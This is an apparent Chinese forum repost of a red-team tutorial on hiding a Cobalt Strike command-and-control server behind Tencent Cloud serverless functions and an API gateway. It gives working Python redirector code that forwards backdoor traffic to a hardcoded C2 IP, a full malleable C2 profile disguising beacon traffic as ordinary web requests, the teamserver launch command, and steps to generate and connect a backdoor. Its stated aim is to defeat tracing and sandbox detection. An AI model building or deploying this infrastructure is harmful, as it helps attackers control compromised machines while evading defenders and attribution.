利用腾讯云云函数隐藏C2

1337163122 · 发表于 2021-9-22 12:27:48

https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
利用腾讯云云函数隐藏C2原创 fox-yu [url=]横戈安全团队[/url] 6月7日

目录：
0x01 简介
0x02 创建云函数
0x03 创建触发器
0x04 配置cs
0x05 设置监听器
0x06 隐藏效果
0x01 简介 腾讯云云函数（Serverless Cloud Function，SCF），可以为企业和开发者提供无服务器执行环境，无需购买和管理服务器，只要在腾讯云上使用平台支持的语言编写核心代码并设置代码运行的条件，即可在腾讯云基础设施上弹性、安全地运行代码。
优点：所有的流量都是通过腾讯云函数进行转发，因此溯源后门只能得到腾讯云的域名和IP，且云函数的服务器是自带 CDN 的，能够很好的隐藏我们的C2服务器。
所需组件：
CS 4.0以上版本
腾讯云账号（API网关第一年免费）
0x02 创建云函数登录腾讯云，云产品 =》云函数 =》新建

选择自定义创建：

将以下代码中的C2修改为自己的服务器IP，复制粘贴到云函数，点击完成。

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://42.194.198.77' # C2服务器IP，支持http和https
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

复制代码

0x03 创建触发器接下来创建触发器，触发方式选择API网关触发，启用集成响应（集成响应不勾选的话，返回的数据格式是 JSON 的格式，对二进制数据不太支持），点击提交。

点击API服务名对触发器进行配置：

将路径修改为【/】，然后点击立即完成

发布成功，到这里我们的云函数和触发器就配置成功了。
查看API信息

这里的公网域名就是我们下面要配置的cs主机：

使用多地ping查看，可以看到该域名是自带CDN的：

0x04 配置cs接下来就是配置cs，将以下代码保存为profile配置文件（不需要修改）：

set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

复制代码

启动cs：

./teamserver IP 密码 tecent_cloud_func.profile

0x05 设置监听器启动cs客户端，添加监听器，跟正常的监听器一样，只是把原来的服务器IP换成了腾讯云网关API的域名，也就是我们第二步创建API网关触发器得到的公网域名：

保存，生成后门进行测试。成功上线：

0x06 隐藏效果此时后门的连接IP为腾讯云IP：45.40.235.223

上传到微步沙箱检测，检测出来的URL也是腾讯的：

		自动登录	找回密码
密码			立即注册